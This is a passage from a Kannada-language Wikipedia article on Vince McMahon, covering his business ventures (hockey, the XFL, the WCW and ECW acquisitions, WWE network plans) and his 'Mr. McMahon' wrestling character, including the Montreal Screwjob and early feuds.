ತಗಡಾಗಿ, ತನ್ನನ್ನೇ ದುಷ್ಟ "ಶ್ರೀ.ಮೆಕ್ ಮಹೊನ್" ಎಂದು WWF ಕಥೆಅಂಶಗಳಲ್ಲಿ ಮುಲುಗಿಸಿಕೊಂಡನು, ಯಾರು ನಂತರ ಸ್ಟೋನ್ ಕೋಲ್ಡ್ ಸ್ಟೀವ್ ಒಸ್ಟಿನ್ ನೊಂದಿಗೆ ದ್ವೇಷದಿಂದಿದ್ದನು, ಮತ್ತು ಬೊಸ್ ನ ಅಧಿಕಾರವನ್ನು ಸವಾಲು ಮಾಡಿದನು. ಆದಕಾರಣ, WWF ಕೂಡಲೇ ತನ್ನನ್ನು ತಾನೇ ರಾಜ್ಯದ ಪೊಪ್-ಸಾಂಸ್ಕೃತಿಯ ನಡುವೆ ಕಾಣಿಸಿಕೊಂಡಿತು, ವಾರವಾರ ನಡೆಯುವ ''ಮಂಡೆ ನೈಟ್ Raw'' ಬ್ರೋಡ್ಕಾಸ್ಟ್ ಗೆ ಪ್ರೇಕ್ಷಕರನ್ನು ಸೆಳೆಯುತಿತ್ತು, ಆದರಿಂದ ಕೇಬಲ್ ದೂರದರ್ಶನದಲ್ಲಿ ಅಧಿಕ-ಗಮನಿಸುವ ಪ್ರದರ್ಶನವಾಗಿ ದರ್ಜೆ ಪಡೆಯಿತು.<ref name="corporatebio" /> ===ಬೇರೆ ಉದ್ಯೋಗ ವಹಿವಾಟುಗಳು=== 1980 ರಲ್ಲಿ, ಮೆಕ್ ಮಹೊನ್ ಐಸ್ ಹೊಕಿಯನ್ನು ಸೌತ್ ಯರ್ಮೌತ್ ನ, ಮಸಚುಸೆಟ್ಸ್ ಎಂಬಲ್ಲಿ ಸಂಕ್ಷೇಪವಾಗಿ ಪ್ರವರ್ಧಮಾನಕ್ಕೆ ತಂದನು. ಅವನ ಕೇಪ್ ಕೋಡ್ ಬುಕ್ಕಾನೀರ್ಸ್ ಆಟಗಾರರು ಕೇಪ್ ಕೋಡ್ ಕೊಲಿಸಿಯಮ್ ನಲ್ಲಿ ಆಡಿದರು ಮತ್ತು AA ಸೆರ್ಕ್ಯುಟ್ ನ ಅಟ್ಲೇಂಟಿಕ್ ಕೋಸ್ಟ್ ಹೊಕಿ ಲೀಗ್ ನ ಸಧಸ್ಯರಾಗಿ ಕಂಡುಬಂದರು. ಚಾರಿತ್ರಿಕವಾಗಿ, ACHL, NAHL ತರ 1970 ರ ರಫ್ ಮತ್ತು ಟಂಬಲ್ ಲೂಪ್ಸ್ ನಡುವೆ ಮರೆತು ಹೋದ ಕೊಂಡಿಯಹಾಗೆ ಗಮನಿಸಲಾಗಿದೆ, ''ಸ್ಲೇಪ್ ಶೊಟ್'' ಅತ್ಯುತ್ತಮ ಚಿತ್ರದಲ್ಲಿ ಉಗ್ರವಿಡಂಬನೆಯಾಗಿತ್ತು ಮತ್ತು ಇವತ್ತಿನ ತುಂಬಾ ವಿಶ್ವಾಸಾರ್ಹವಾಗಿರುವ ಈಸ್ಟ್ ಕೋಸ್ಟ್ ಹೊಕಿ ಲೀಗ್. ಯಾವಾಗ ಎಲ್ಲಾ ನಿರೀಕ್ಷಿತ ನಿಯೋಜಕರು, NHL ರ ಬೊಸ್ಟನ್ ಬ್ರುಯಿನ್ಸ್ ಅವರು (ಯಾರು ಒಮ್ಮೆ ಕೇಪ್ ಕೋಡ್ ಕಬ್ಸ್ ಅನ್ನು ಒಕ್ಕಲಿಗರ ತಂಡವಾಗಿ ಉಪಯೋಗಿಸುತದ್ದ)ಕೂಡ ಒಂದು ಹೊಸ ಒಪ್ಪಿತ ಹಕ್ಕನು ನಿಶ್ಚಿತ ಸ್ಥಳದಲ್ಲಿ ಸುಮಾರಾದ ದಾಖಲೆಯೊಂದಿಗೆ ಇಡು ಅಥವಾ ಪ್ರವೇಶ ಶುಲ್ಕವನ್ನು ಸುಮ್ಮನೆ ಪಾವತಿ ಮಾಡದ ಕಾರಣ, ಅವನು ಪ್ರವೇಶಿಸಿ ಇ ಕಟ್ಟಡಕ್ಕೆ (ಅದರ ಒಡೆಯನಾಗಿದ್ದ) ಮುಕ್ಯ ಗೇಣಿದಾರ ಇದ್ದಾನೆ ಎಂದು ಖಚಿತಪಡಿಸ ಬೇಕಾಯಿತು. ಒಡೆಯರ ಉದ್ವೇಗದ ಮದ್ಯದಲ್ಲಿ,ಮೆಕ್ ಮಹೊನ್ ಕೂಡಲೇ ತನ್ನ ಸಹಾಯವನ್ನು ಹಿಂತೆಗೆದುಕೊಂಡ. 1982 ರಲ್ಲಿ ಫ್ರಂಚಿಸೆ ಅನ್ನು ಮಡಿಸಿದ, ಲೀಗ್ ನ ಮೊದಲ ಕಾಲ ಮುಕ್ತಾಯ ವಾಗುವ ಮುನ್ನವೇ ಮುಕ್ತಾಯ ಮಾಡಿದ<ref>{{cite web|title=History of the ACHL|url=http://www.hockeydb.com/achl/index.html|publisher=HockeyDB}}</ref> ಒಕ್ಟೋಬರ್ 1999 ರಲ್ಲಿ, ಮೆಕ್ ಮಹೊನ್ WWF ಯನ್ನು ಸಂಸ್ಥೆ ಕಜಾನೆಯಲ್ಲಿ ಇರುವ [[ಆರಂಭಿಕ ಸಾರ್ವಜನಿಕ ಷೇರು ಬಿಡುಗಡೆ|ಪ್ರಾರಂಭದ ಸಮುದಾಯದ ಕಾಣಿಕೆಯಿಂದ]] ನಡೆಸಿದನು. ಮಾರ್ಚ್ 23,2001 ರಲ್ಲಿ, ಅವನು ಮರೆಯಾಗುತ್ತಿರುವ WCW ಯನ್ನು ಕೇವಲ $5 ಮಿಲಿಯನ್ ಗೆ ಕೊಂಡುಕೊಂಡನು. ಮೂರು ದಿವಸದ ನಂತರ, ತನ್ನ "ಜಯದ ಮಾತನ್ನು" WWF ''Raw'' ಮತ್ತು ''WCW ನೈಟ್ರೊ'' ಎರಡರಲ್ಲೂ ತೋರಿಸಲಾಗಿತ್ತು. 2000 ರಲ್ಲಿ, ಮೆಕ್ ಮಹೊನ್ ವೃತ್ತಿಪರ ಮಲ್ಲಯುದ್ಧ ಲೋಕದ ಹೊರಗಡೆ XFL ಅನ್ನು ನಿರ್ಮಿಸಿ ಮತ್ತೊಮ್ಮೆ ಸಾಹಸ ಮಾಡಿದನು. ಒಕ್ಕೂಟವು ಕೊನೆಯದಾಗಿ ಫೆಬ್ರವರಿ 2001 ರಲ್ಲಿ ಪ್ರಾರಂಭವಾಯಿತು ಮತ್ತು ಮೆಕ್ ಮಹೊನ್ ಮೊದಲನೆಯ ಪಂದ್ಯದಲ್ಲಿ ಹಾಜಾರಿದ್ದನು. ಒಕ್ಕೂಟವು, ಹೇಗಿದ್ದರೂ, ಕೂಡಲೇ ಮುಕ್ತಾಯವಾಯಿತು ಯಾಕೆಂದರೆ ಪ್ರಚಾರದ ಕೊರತೆಯಿಂದ. 2003 ರ ಬೇಸಿಗೆ ಕಾಲದಲ್ಲಿ, ಮೆಕ್ ಮಹೊನ್ ಎಕ್ಸ್ಟ್ರೀಮ್ ಚೇಂಪಿಯನ್ಶಿಪ್ ವ್ರೆಸ್ಲಿಂಗ್ ನಾದಾರಿತನ ನ್ಯಾಯಾಲಯದಿಂದ ಪಡೆದುಕೊಂಡನು, ಉಳಿದಿರುವ ಮೆಕ್ ಮಹೊನ್ ಮತ್ತು ವೆರ್ಲ್ಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಫೆಡೆರೆಶನ್ ನೋರ್ತ್ ಅಮೇರಿಕದಲ್ಲಿ ದೊಡ್ಡ ಮಲ್ಲಯುದ್ಧ ಅಭಿವೃದ್ಧಿಯಾಗಿದೆ. 2009 ರಲ್ಲಿ, ಮೆಕ್ ಮಹೊನ್ ಹೊಸ ಕೇಬಲ್ ನೆಟ್ವೇರ್ಕ್ ಅನ್ನು ಶುರುಮಾಡುವ ಆಸಕ್ತಿಯನ್ನು ತೋರಿಸಿದನು.<ref>[http://www.latimes.com/entertainment/news/la-et-wwe24-2009aug24,0,6338695.story WWE ಒಂದು ಫ್ಲಿಪ್ ಸೈಡ್ ಅನ್ನು ತೋರಿಸುತ್ತದೆ], ''ಲಾಸ್ ಏನ್ಜೆಲಿಸ್ ಟೈಮೆಸ್'' , ಆಗಸ್ಟ್ 24, 2009</ref><ref>[http://www.medialifemagazine.com/artman2/publish/Cable_20/McMahon_Let_s_image_a_WWE_network.asp ಮಕ್ಮಹೋನ್: WWE ನೆಟ್ವರ್ಕ್ ಅನ್ನು ಭಾವಿಸುವ], ''ಮೀಡಿಯಾ ಲೈಫ್ ಮಗಜಿನ್ '' , ಆಗಸ್ಟ್ 25, 2009</ref><ref>[http://www.examiner.com/x-2854-Dallas-Martial-Arts-Examiner~y2009m8d25-WWEs-Vince-McMahon-to-launch-WWE-Cable-TV-Network WWE'ya ವಿನ್ಸೆ ಮಕ್ಮಹೋನ್ WWE ಕಾಬೇಲ್ ಟಿವಿ ನೆಟ್ವರ್ಕ್ ಅನ್ನು ಪ್ರಾರಂಭಿಸುತ್ತಾರೆ] {{Webarchive|url=https://web.archive.org/web/20100312063013/http://www.examiner.com/x-2854-Dallas-Martial-Arts-Examiner~y2009m8d25-WWEs-Vince-McMahon-to-launch-WWE-Cable-TV-Network |date=2010-03-12 }}, ''Examiner.com'' , ಆಗಸ್ಟ್ 25, 2009</ref><ref>[http://latimesblogs.latimes.com/entertainmentnewsbuzz/2009/08/wwes-vince-mcmahon-wants-to-launch-cable-network.html WWE'ಯ ವಿನ್ಸೆ ಮಕ್ಮಹೋನ್ ಕಾಬೇಲ್ ಟಿವಿ ನೆಟ್ವರ್ಕ್ ಅನ್ನು ಪ್ರಾರಂಭಿಸಳು ಅಪೇಕ್ಶಿಸುತ್ತಾರೆ ], ''ಲಾಸ್ ಏನ್ಜೆಲಿಸ್ ಟೈಮೆಸ್'' , ಆಗಸ್ಟ್ 24, 2009</ref> 2010 ರಲ್ಲಿ, ಮೆಕ್ ಮಹೊನ್ ಹೊಸ ಕೇಬಲ್ ನೆಟ್ವೇರ್ಕ್ ಅನ್ನು ಬೇಸಿಗೆ ಕಾಲದ 2011 ರಲ್ಲಿ ಪ್ರಾರಂಭಿಸುತ್ತೇನೆ ಎಂಬ ಕಲ್ಪನೆಯನ್ನು ಪ್ರಕಟಿಸಿದನು.<ref>[http://www.wrestlinginc.com/wi/news/2010/0211/483479/vince-mcmahon/index.shtml ವಿನ್ಸ್e ಮಕ್ಮಹೋನ್: WWE ಯ ದೂರದರ್ಶನ ನೆಟ್ವರ್ಕ್ ಅನ್ನು 2011ರೊಳಗೆ ಪ್ರಾರಂಭಿಸುತ್ತಾರೆ] {{Webarchive|url=https://web.archive.org/web/20100214183155/http://www.wrestlinginc.com/wi/news/2010/0211/483479/vince-mcmahon/index.shtml |date=2010-02-14 }}, ''ವ್ರೆಸ್ತ್ಲಿಂಗ್, ಇನ್ಕ್.'' , ಫೆಬ್ರವರಿ 11, 2010</ref><ref>[http://wrestling.insidepulse.com/2010/02/22/details-on-wwe-network-plans WWE ನೆಟ್ವರ್ಕ್ ಯೋಜನೆ ಬಗ್ಗೆ ವಿವರಗಳು]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}, ''ಇನ್ಸೈಡ್ ಪಲ್ಸ್ ವ್ರೆಸ್ತ್ಲಿಂಗ್'' , ಫೆಬ್ರವರಿ 22, 2010</ref><ref>[http://www.lordsofpain.net/news/wwe/7641.html WWE ನೆಟ್ವರ್ಕ್ ಯೋಜನೆ ಬಗ್ಗೆ ಹೊಸ ವಿವರಗಳು, ಯಾವಾಗ ಪ್ರಾರಂಭವಾಗುತ್ತದೆ ಮತ್ತು ಇನ್ನಷ್ಟು] {{Webarchive|url=https://web.archive.org/web/20100509031839/http://www.lordsofpain.net/news/wwe/7641.html |date=2010-05-09 }}, ''LordsofPain.net'' , ಮೇ 7, 2010</ref> ==ವ್ರೆಸ್ಲಿಂಗ್ ವೃತ್ತಿ ನಿರತರು== ಶ್ರೀ.ಮೆಕ್ ಮಹೊನ್ ವಿನ್ಸಿ ಮೆಕ್ ಮಹೊನ್ ನ ಒನ್-ಸ್ಕ್ರೀನ್ ಪಾತ್ರವಹಿಸಿದ್ದ, ಮತ್ತು ಯಾವಾಗಲೂ ಗರ್ವಿಷ್ಠ ಬೊಸಾಗಿ ತಂತ್ರದಿಂದಿದ್ದ. 1997 ರ ಸೆರ್ವೈವರ್ ಸೀರೀಸ್ ನಲ್ಲಿ ನಡೆದ ಮೋಂಟ್ರೀಲ್ ಸ್ಕ್ರಿವ್ಜೊಬ್ ಕಾರಣದಿಂದ ಮಲ್ಲಯುದ್ಧ ಅಭಿಮಾನಿಗಳ ನಿಜವಾದ-ಜೀವನದ ಮೆಕ್ ಮಹೊನ್ ಮೇಲಿನ ದ್ವೇಷದಿಂದ ಈ ಪಾತ್ರವು ಹುಟ್ಟಿತು.<ref name="Survivor Series - Shawn Michaels vs Bret Hart" /> ಅನೇಕ ಬೇರೆ ತಂತ್ರಗಳು ಮೆಕ್ ಮಹೊನ್ ನ ಒನ್-ಕೆಮರ ಪೆರ್ಸೊನದ ಒಳಭಾಗವಾಗಿದೆ, ಯಾವುದೆಂದರೆ ತನ್ನ ಗಂಟಲಿನ ಅವೇಶದ ಉದ್ಗಾರದಿಂದ "ಯು ಆರ್ ಫೈರೆಡ್!", ಮತ್ತು ಅವನ "ಪವರ್ ವಾಕ್"-ರಿಂಗಿನಲ್ಲಿ ಜಾಸ್ತಿ-ಅತಿವರ್ತಿಸಿ ಸೆಟೆಗೊಂಡು ನಡೆಯುವುದು, ತನ್ನ ಕೈಯನ್ನು ಓಲಾಡಿಸುವುದು ಮತ್ತು ತನ್ನ ತಲೆಯನ್ನು ದುರಹಂಕಾರದ ವರ್ತನೆಯಿಂದ ಈ ಬದಿಯಿಂದ ಆ ಬದಿಗೆ ಸುತ್ತುತ್ತಾ ಇದ್ದನು. ಇದು ಯಾವಾಗಲೂ ಜಿಮ್ ರೊಸ್ ರವರ ವಿಮರ್ಶೆಯೊಂದಿಗೆ ಒಳಗೊಂಡಿತ್ತು, ಯಾವುದೆಂದರೆ "ನನಗೆ ಗೊತ್ತಿರುವ ಒಬ್ಬನೇ ಮನುಷ್ಯನಿದ್ದಾನೆ ಅದು ಆತರ ನಡೆಯುತ್ತದೆ". ಪವರ್ ವಾಕ್ ಪ್ರೇಕ್ಷಕರ ಗಮನ ಸೆಳೆಯಲು ಉಪಯೋಗಿಸಲಾಗಿದೆ (ಪ್ರಮುಖ್ಯವಾಗಿ ಅವನಲ್ಲಿ ಹೀಲ್ ಇರುವಾಗ): ಆದರೆ ಅದು ಹಾಸ್ಯದ ಬಿಡುಗಡೆಯನ್ನು ಒದಗಿಸುತ್ತದೆ. WWE ಸುಪರ್ಸ್ಟಾರ್ [[ಜಾನ್ ಸೆನಾ|ಜೊನ್ ಸಿನ]] ''WWE ಎಕ್ಸ್ಪೋಸ್ಡ್'' ವಿಶೇಷದ ಕುರಿತು ಹಾಸ್ಯಮಾಡಿಡಾನು ಅದು'' WWE ಹೋಮ್ಕಮಿಂಗ್'' ನಲ್ಲಿ ತೋರಿಸಲಾಗಿತ್ತು, ಅದೇನೆಂದರೆ ಮೆಕ್ ಮಹೊನ್ "ಹೇಗೋ ಪೊರಕೆಯನ್ನು ಹಿಡಿದು ನಡೆಯುವ ರೀತಿಯಲ್ಲಿ ನಡೆಯುತ್ತಾನೆಂದು". ಜಿಮ್ ಕಾರ್ನೆಟ್ಟೆ ನ ಪ್ರಕಾರ, ಪವರ್ ವಾಕ್ ವಿನ್ಸಿ ಮೆಕ್ ಮಹೊನ್ ರ ಶ್ರೇಷ್ಠ ಮಲ್ಲಯುದ್ಧರ ಒಬ್ಬರಿಂದ ಮಗು, Dr.ಜೆರ್ರಿ ಗ್ರಹಮ್ ಎಂದು ಸ್ಪೂರ್ತಿಯಿಂದ ಚೇತನ ಹೊಂದಿದ. ಫೆಬುಲಸ್ ಮೂಲಹ್, ಹೇಗಿದ್ದರೂ, ಅವಳ ಆತ್ಮ ಕಥೆಯಲ್ಲಿ "ನೆಚರ್ ಬೊಯ್" ಬಡ್ಡಿ ರೊಗೆರ್ಸ್ ಈ ವಾಕ್ ಗೆ ಸ್ಪೂರ್ತಿಯಿಂದ ಚೇತನ ಹೊಂದಿದ.<ref>{{cite book|author=Ellison, Lillian|title=The Fabulous Moolah: First Goddess of the Squared Circle|year=2003|isbn=9780060012588|publisher=ReaganBooks|page=60}}</ref> ನಿಜವಾದ-ಜೀವನದ ಘಟನೆಗಳು WWE ಯ ಮೇಲೆ ಪರಿಣಾಮ ಬೀರುವುದರಿಂದ, ಮೆಕ್ ಮಹೊನ್ ತಕ್ಕ ಸಮಯದಲ್ಲಿ ತನ್ನ ಪಾತ್ರದ ಅಭಿನಯವನ್ನು ನಿಲ್ಲಿಸಿದನು, ಯಾವಾಗ ಅಂದರೆ 1999 ರ ಒವರ್ ದಿ ಎಡ್ಜ್ ನಲ್ಲಿ ಒವೆನ್ ಹಾರ್ಟ್ ನ ಮರಣ, ವೇರ್ಲ್ಡ್ ಟ್ರೇಡ್ ಸೆಂಟರ್ ನ ಮೇಲೆ ಸೆಪ್ಟೆಂಬರ್ 11 ರಲ್ಲಿ ನಡೆದ ಆಕ್ರಮಣ ಮತ್ತು [[ಕ್ರಿಸ್ ಬೆನೈಟ್|ಕ್ರಿಸ್ ಬೆನೊಯಿಟ್]] ನ ಮರಣ. ===ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ವ್ರೆಸ್ಲಿಂಗ್ ಎಸೊಸಿಯೆಶನ್ (1993)=== ಶ್ರೀ.ಮೆಕ್ ಮಹೊನ್ ನ ಪಾತ್ರವು ಮೊದಲನೆಯ ಮೆಕ್ ಮಹೊನ್ ನನ್ನು ಹೀಲ್ ನಂತೆ WWF ನಲ್ಲಿ, 1993 ರಲ್ಲಿ ಚಿತ್ರಿಸಲಾಗಿತ್ತು, ಮೆಕ್ ಮಹೊನ್ ಜೆರ್ರಿ ಲೊಲೆರ್ ನೊಂದಿಗೆ ವೆರ್ಲ್ಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಫೆಡೆರೆಶನ್ ಮತ್ತು ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ವ್ರೆಸ್ಲಿಂಗ್ ಎಸೊಸಿಯೆಶನ್ ನಡುವಿನ ಕ್ರೊಸ್-ಪ್ರೊಮೊಶನ್ ಕುರಿತು ದ್ವೇಷ ಹೊಂದಿದನು. ಮೆಮ್ಫಸಿಸ್ ನ, ಟೆನ್ನೆಸೆ ಯಲ್ಲಿ (ಎಲ್ಲಿ USWA ಉಂಟಾಯಿತು), ಲೊಲರ್ ತುಂಬಾ ಮಗುಮುಖನ ಪಾತ್ರವಾಗಿ ಕಾಣಿಸಿಕೊಂಡನು (ತನ್ನ WWF ನ ಪಾತ್ರದ ವಿರುದ್ಧವಾಗಿ ಅದು ಹೇಡಿಯ ಹೀಲ್ ಹಾಗೆ ಕಾಣಿಸುತಿತ್ತು), ಆದರೆ ಮೆಕ್ ಮಹೊನ್ ಅಚ್ಚುಕಟ್ಟಾದ ಹೀಲ್ ತರ ("ಶ್ರೀ.ಮೆಕ್ ಮಹೊನ್" ನ ಪಾತ್ರದ ಸದೃಶದಲ್ಲಿ) ಮೆಮ್ಫಸಿಸ್ ಪ್ರೇಕ್ಷಕರಿಗೆ ಕಾಣಿಸುತಿದ್ದ, ಲೊಲರ್ ರ ಸಿಂಹಾಸನದಿಂದ ಉರುಳಿಸು ಹೇಗೆಂದರೆ "ವೃತ್ತಿಪರ ಮಲ್ಲಯುದ್ಧದ ರಾಜ". ಏಂಗಲ್ ನ ಪರವಾಗಿ, ಮೆಕ್ ಮಹೊನ್ ಅನೇಕ WWF ನ ಮಲ್ಲರನ್ನು ಮೆಮ್ಫಸಿಸ್ ಗೆ ಗುರಿ ಹೊಂದಲು ಕಳುಹಿಸಿದನು. ಈ ಏಂಗಲ್ ಮೊದಲಸಮಯ ದೃಢಪಡಿಸಿತು ಹಾಗು ಮೆಕ್ ಮಹೊನ್ ತನ್ನನ್ನು ತಾನೇ ಶರೀರಪ್ರಕಾರವಾಗಿ ಪಂದ್ಯಗಳಲ್ಲಿ ಪ್ರವೇಶಿಸಿತು, ಯಾಕೆಂದರೆ ತಕ್ಕ ಸಮಯದಲ್ಲಿ ಲೊಲರ್ ನ ಕಾಲು ತಪ್ಪಿಸಿದನು ಅಥವಾ ಅವನು ರಿಂಗ್ ನ ಬದಿ ಕುಲಿತು ಕೊಂಡಿರುವಾಗ ಗುದ್ದಿದನು. ಏಂಗಲ್ ನ ಸಮಯದಲ್ಲಿ, ಮೆಕ್ ಮಹೊನ್ ಎಂದಿಗೂ WWF ನ ಯಜಮಾನ ಎಂದು ಅಂಗೀಕರಿಸ ಪಡಲಿಲ್ಲ (1993 ರಲ್ಲಿ ಪುನಃ, ಮೆಕ್ ಮಹೊನ್ ದೂರದರ್ಶನದಲ್ಲಿ ಮುಖ್ಯ ನಿವೇದಕ ಎಂದು ಮಾತ್ರ ಚಿತ್ರಿಸಲಾಯಿತು) ಹಾಗು ಲೊಲರ್ ಮತ್ತು ಮೆಕ್ ಮಹೊನ್ ನಡುವೆ ಇದ್ದ ದ್ವೇಷವನ್ನು WWF ದೂರದರ್ಶನದಲ್ಲಿ ಹೇಳಲ್ಪಡಲಿಲ್ಲ, ಯಾಕೆಂದರೆ ಅವರಿಬ್ಬರು ಒಟ್ಟಾಗಿ ಸೆವೇಜ್ ನೊಂದಿಗೆ ದೂರದರ್ಶನದ ''ಸುಪೆರ್ಸ್ಟಾರ್ಸ್'' ಪ್ರದರ್ಶನಕ್ಕೆ ವೀಕ್ಷಕ ವಿವರಣೆಯನ್ನು ಮುಂದುವರಿಸಿದರಿಂದ ಲೊಲರ್ ಮತ್ತು ಮೆಕ್ ಮಹೊನ್ ನ ನಡುವೆ ಇರುವ ದ್ವೇಷವು 1993 ರ ಸಮ್ಮರ್ಸ್ಲೇಮ್ ನಲ್ಲಿ ಲೊಲರ್ ವಿರುದ್ಧ ಹಾರ್ಟ್ ಪಂದ್ಯಕ್ಕೆ ಸಹಾಯಮಾಡುವಂತಾಗಿತ್ತು.<ref>{{cite web|url=http://www.wwe.com/shows/summerslam/history/1993/|title=SummerSlam 1993 official results|accessdate=2008-01-14|publisher=WWE|archive-date=2007-07-18|archive-url=https://web.archive.org/web/20070718102407/http://www.wwe.com/shows/summerslam/history/1993/|url-status=dead}}</ref> ಟಟಂಕ ಯುನಿಫೈಡ್ ವೇರ್ಲ್ಡ್ ಚೇಂಪಿಯನ್ಶಿಪ್ ಗೆ ಲೊಲರ್ ನನ್ನು ದ್ವೇಷದಿಂದ ನೋಡಿದಾಗ ಏಂಗಲ್ ಉಚ್ಚ ಸ್ಥಾನಕ್ಕೆ ಹೋಯಿತು ಅದರ ಜೊತೆಯಲ್ಲಿ ಮೆಕ್ ಮಹೊನ್ ಲೊಲರ್ ತಾನು ಚೇಂಪಿಯನ್ಶಿಪ್ ಬೆಲ್ಟ್ ದರಿಸಿದನ್ನು ನೋಡಿ ಉಬ್ಬಿದನು.<ref name="tatankabio">{{cite web|first=Chris|last=Chavis|url=http://www.nativetatanka.com/bio2.html|title=Tatanka's Biography (Page 2)|accessdate=2008-01-14|publisher=Native Tatanka|archive-date=2007-12-26|archive-url=https://web.archive.org/web/20071226140653/http://www.nativetatanka.com/bio2.html|url-status=dead}}</ref> ಮೆಮ್ಫಸಿಸ್ ನಲ್ಲಿ ಯೌವ್ವನದ ಹುಡುಗಿಯ ಅತ್ಯಾಚಾರಕ್ಕೆ ಆರೋಪಿಸಿದಾಗ ಈ ಕಥೆಅಂಶವು ಅವಸರವಾದ ಅಂತ್ಯಕ್ಕೆ ಬಂತು, ಮತ್ತು ಅವನು WWF ಯಿಂದ ತೆಗೆಯಲ್ಪಟ್ಟನು. ಹಾಗಿದ್ದರೂ, ಹುಡುಗಿಯ ಅತ್ಯಾಚಾರ ಆಪಾದನೆ ಸುಳ್ಳೆಂದು ನುಡಿದಮೇಲೆ ಅವನು ಕೊಂಚ ಸಮಯದ ನಂತರ ಹಿಂತಿರುಗಿದನು.<ref>{{cite web | url=http://www.wrestleview.com/faq/?article=jerrylawler | title=Jerry Lawler - FAQ | publisher=Wrestleview}}</ref> ===ಮೋಂಟ್ರೀಲ್ ಸ್ಕ್ರಿವ್ಜೊಬ್ (1997)=== {{Main|Montreal Screwjob}} 1997 ರ ಸೇರ್ವೈವರ್ ಸೀರೀಸ್ ನಲ್ಲಿ, [[ಬ್ರೆಟ್ ಹಾರ್ಟ್]] ತನ್ನ WWF ಚೇಂಪಿಯನ್ಶಿಪನ್ನು ಬಹು-ಕಾಲ ಸ್ಪರ್ಧಿಯಾಗಿದ್ದ ಶೌನ್ ಮೈಕಲ್ಸ್ ವಿರುದ್ಧ ಮುಖ್ಯ ಘಟನೆಯಲ್ಲಿ ಕಾಪಾಡಿದನು. ಮೆಕ್ ಮಹೊನ್, ಯಾರು WWF ನ ಯಜಮಾನನಾಗಿದ್ದನು, ಹಿಂದೆ ಒನ್-ಸ್ಕ್ರೀನಿನ ಯಜಮಾನನಾಗಿ ನಟಿಸುವ ಬದಲಿಗೆ ಪ್ಲೆ-ಬೈ-ಪ್ಲೆ ನಿವೇದಕನಾಗಳು ಆಯ್ಕೆಮಾಡಿದನು. ಸೇರ್ವೈವರ್ ಸೀರೀಸ್ ನ ಕೆಲವು ವಾರಗಳ ಹಿಂದೆ, ಮೆಕ್ ಮಹೊನ್ ಹೀಲ್ ಹಾರ್ಟ್ ನೊಂದಿಗೆ ಪ್ರತಿಸ್ಪರ್ಧೆಗೆ ಪ್ರವೇಶಿಸಿದನು. ಪಂದ್ಯದ ವೇಲೆ, ಮೈಕಲ್ಸ್ ಹಾರ್ಟ್ ನ ಸ್ವಂತ ಸಹಿಯನ್ನು ಹಾರ್ಟ್ ನ ಮೆನ್ಯುವೆರ್ ಒಪ್ಪಿಸುವುದರಲ್ಲಿ ದಿ ಶಾರ್ಪ್ಶೂಟರ್ ನಲ್ಲಿ ಹಾಕಿದನು. ಹಾರ್ಟ್ ಒಪ್ಪಿಸಲು ನಿರಾಕರಿಸಿದನು. ಮೆಕ್ ಮಹೊನ್, ಹೇಗಿದ್ದರೂ, ಎದ್ದುಬಂದು ತೀರ್ಪುಗಾರನನ್ನು ಘಂಟೆ ಬಾರಿಸಲು ಕಟ್ಟಳೆ ಕೊಟ್ಟನು ಆದಕಾರಣ ಹಾರ್ಟ್ ನ ಪದವಿಯನ್ನು ಸುಲಿಗೆ ಮಾಡಿತು ಮತ್ತು ಮೈಕಲ್ಸ್ ನನ್ನು ಚೇಂಪಿಯನ್ನಾಗಿ ಮಾಡಿತು. ಈ ಸಂಭವಕ್ಕೆ ತರುವಾಯ "ಮೋಂಟ್ರೀಲ್ ಸ್ಕ್ರಿವ್ಜೊಬ್" ಎಂದು ಅಡ್ಡಹೆಸರಿಡಲಾಯಿತು.<ref name="Survivor Series - Shawn Michaels vs Bret Hart" /> ===ಸ್ಟೋನ್ ಕೋಲ್ಡ್ ಸ್ಟೀವ್ ಒಸ್ಟಿನ್ ವಿರುದ್ಧ ಶ್ರೀ.ಮೆಕ್ ಮಹೊನ್ (1997-1999)=== {{Main|The Corporation (professional wrestling)|l1=The Corporation}} ಡಿಸೆಂಬರ್ 1997 ರಲ್ಲಿ ''ರಾವ್ ಈಸ್ ವಾರ್'' ನಲ್ಲಿ, ಆ ರಾತ್ರಿಯ ಬಲಿಕ[[D-Generation X: In Your House]], ವಿನ್ಸಿ ಮೆಕ್ ಮಹೊನ್ ಸ್ಟೋನ್ ಕೋಲ್ಡ್ ಸ್ಟೀವ್ ಒಸ್ಟಿನ್ ನ ನಡೆತ ಹಾಗು ಮನೋವೃತ್ತಿಯ ಕುರಿತು ಮಾತನಾಡಿದನು, ಅದೇನೆಂದರೆ WWF ಒಫಿಶಿಯಲ್ ಕಮಿಶನ್ ಸ್ಲೊಟರ್ ನನ್ನು ಒಸ್ಟಿನ್ ದಾಳಿಮಾಡಿದನು, ಮತ್ತು ಹೇಗೆ ಅವನು WWF ನಿವೇದಕರಾದ ಜಿಮ್ ರೊಸ್ ಹಾಗು ಮೆಕ್ ಮಹೊನ್ ತನ್ನನ್ನು ಆಕ್ರಮಿಸಿದನೆಂದು. ಒಸ್ಟಿನ್ ತನ್ನ ಇಂಟರ್ ಕೋಂಟಿನೆಂಟಲ್ ಚೇಂಪಿಯನ್ಶಿಪ್ ಯನ್ನು ರೋಕ್ ನ ವಿರುದ್ಧ ಪುನಃ ಪಂದ್ಯದಲ್ಲಿ ಎದುರಿಸ ಬೇಕೆಂದು ಶ್ರೀ.ಮೆಕ್ ಮಹೊನ್ ಹಕ್ಕಿನಿಂದ ಕೇಳಿಕೊಂಡನು. ಹಿಂದಿನ ಪಂದ್ಯದ ಹಾಗೆ, ಸ್ಟೋನ್ ಕೋಲ್ಡ್ ತನ್ನ ಆಯುಧವಾದ ಪಿಕಪ್ ಟ್ರಕ್ ಕನ್ನು ಉಪಯೋಗಿಸಿ ದಿ ರೋಕ್ ಮತ್ತು ನೇಶನ್ ಒಫ್ ಡೊಮಿನೆಶನ್ ತುಂಟರ ಟೋಳಿಯನ್ನು ಎದುರಿಸಿದನು. ಒಸ್ಟಿನ್ ಪದವಿಯನ್ನು ದಿ ರೋಕ್ ಗೆ ಕಳೆದುಕೊಳ್ಳಲು ತೀರ್ಮಾನಿಸಿದನು ಆದರ, ಬದಲಿಗೆ, ಒಸ್ಟಿನ್ ದಿ ರೋಕ್ ಗೆ ಒಂದು 